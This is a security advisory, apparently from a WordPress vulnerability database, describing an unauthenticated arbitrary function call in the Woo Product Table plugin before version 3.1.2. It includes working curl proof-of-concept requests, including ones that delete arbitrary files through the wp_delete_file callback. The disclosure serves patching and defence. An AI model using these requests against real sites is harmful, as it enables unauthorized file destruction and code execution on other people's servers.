WordPress Plugin Vulnerabilities

Woo Product Table < 3.1.2 - Unauthenticated Arbitrary Function Call

Description

The plugin does not have authorisation and CSRF checks in the wpt_admin_update_notice_option AJAX action (available to both unauthenticated and authenticated users), as well as does not validate the callback parameter, allowing unauthenticated attackers to call arbitrary functions with either none or one user controlled argument

Proof of Concept

curl -X 'POST' --data 'option_key=a&perpose=update&callback=phpinfo' 'https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option'

To delete an arbitrary file: 

curl -X 'POST' --data 'option_key=a&option_value=/path/to/file&perpose=update&callback=wp_delete_file' 'https://example.com/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option'

curl -X 'POST' --data 'action=wpt_admin_update_notice_option&option_key=a&option_value=/path/to/file&perpose=update&callback=wp_delete_file' 'https://example.com/wp-admin/admin-ajax.php'

Affects Plugins

Fixed in 3.1.2

References

Classification

Type
RCE
OWASP top 10
CWE

Miscellaneous

Original Researcher
Mark Costlow
Submitter
Mark Costlow
Verified
Yes

Timeline

Publicly Published
2022-03-22 (about 2 years ago)
Added
2022-03-22 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)

Other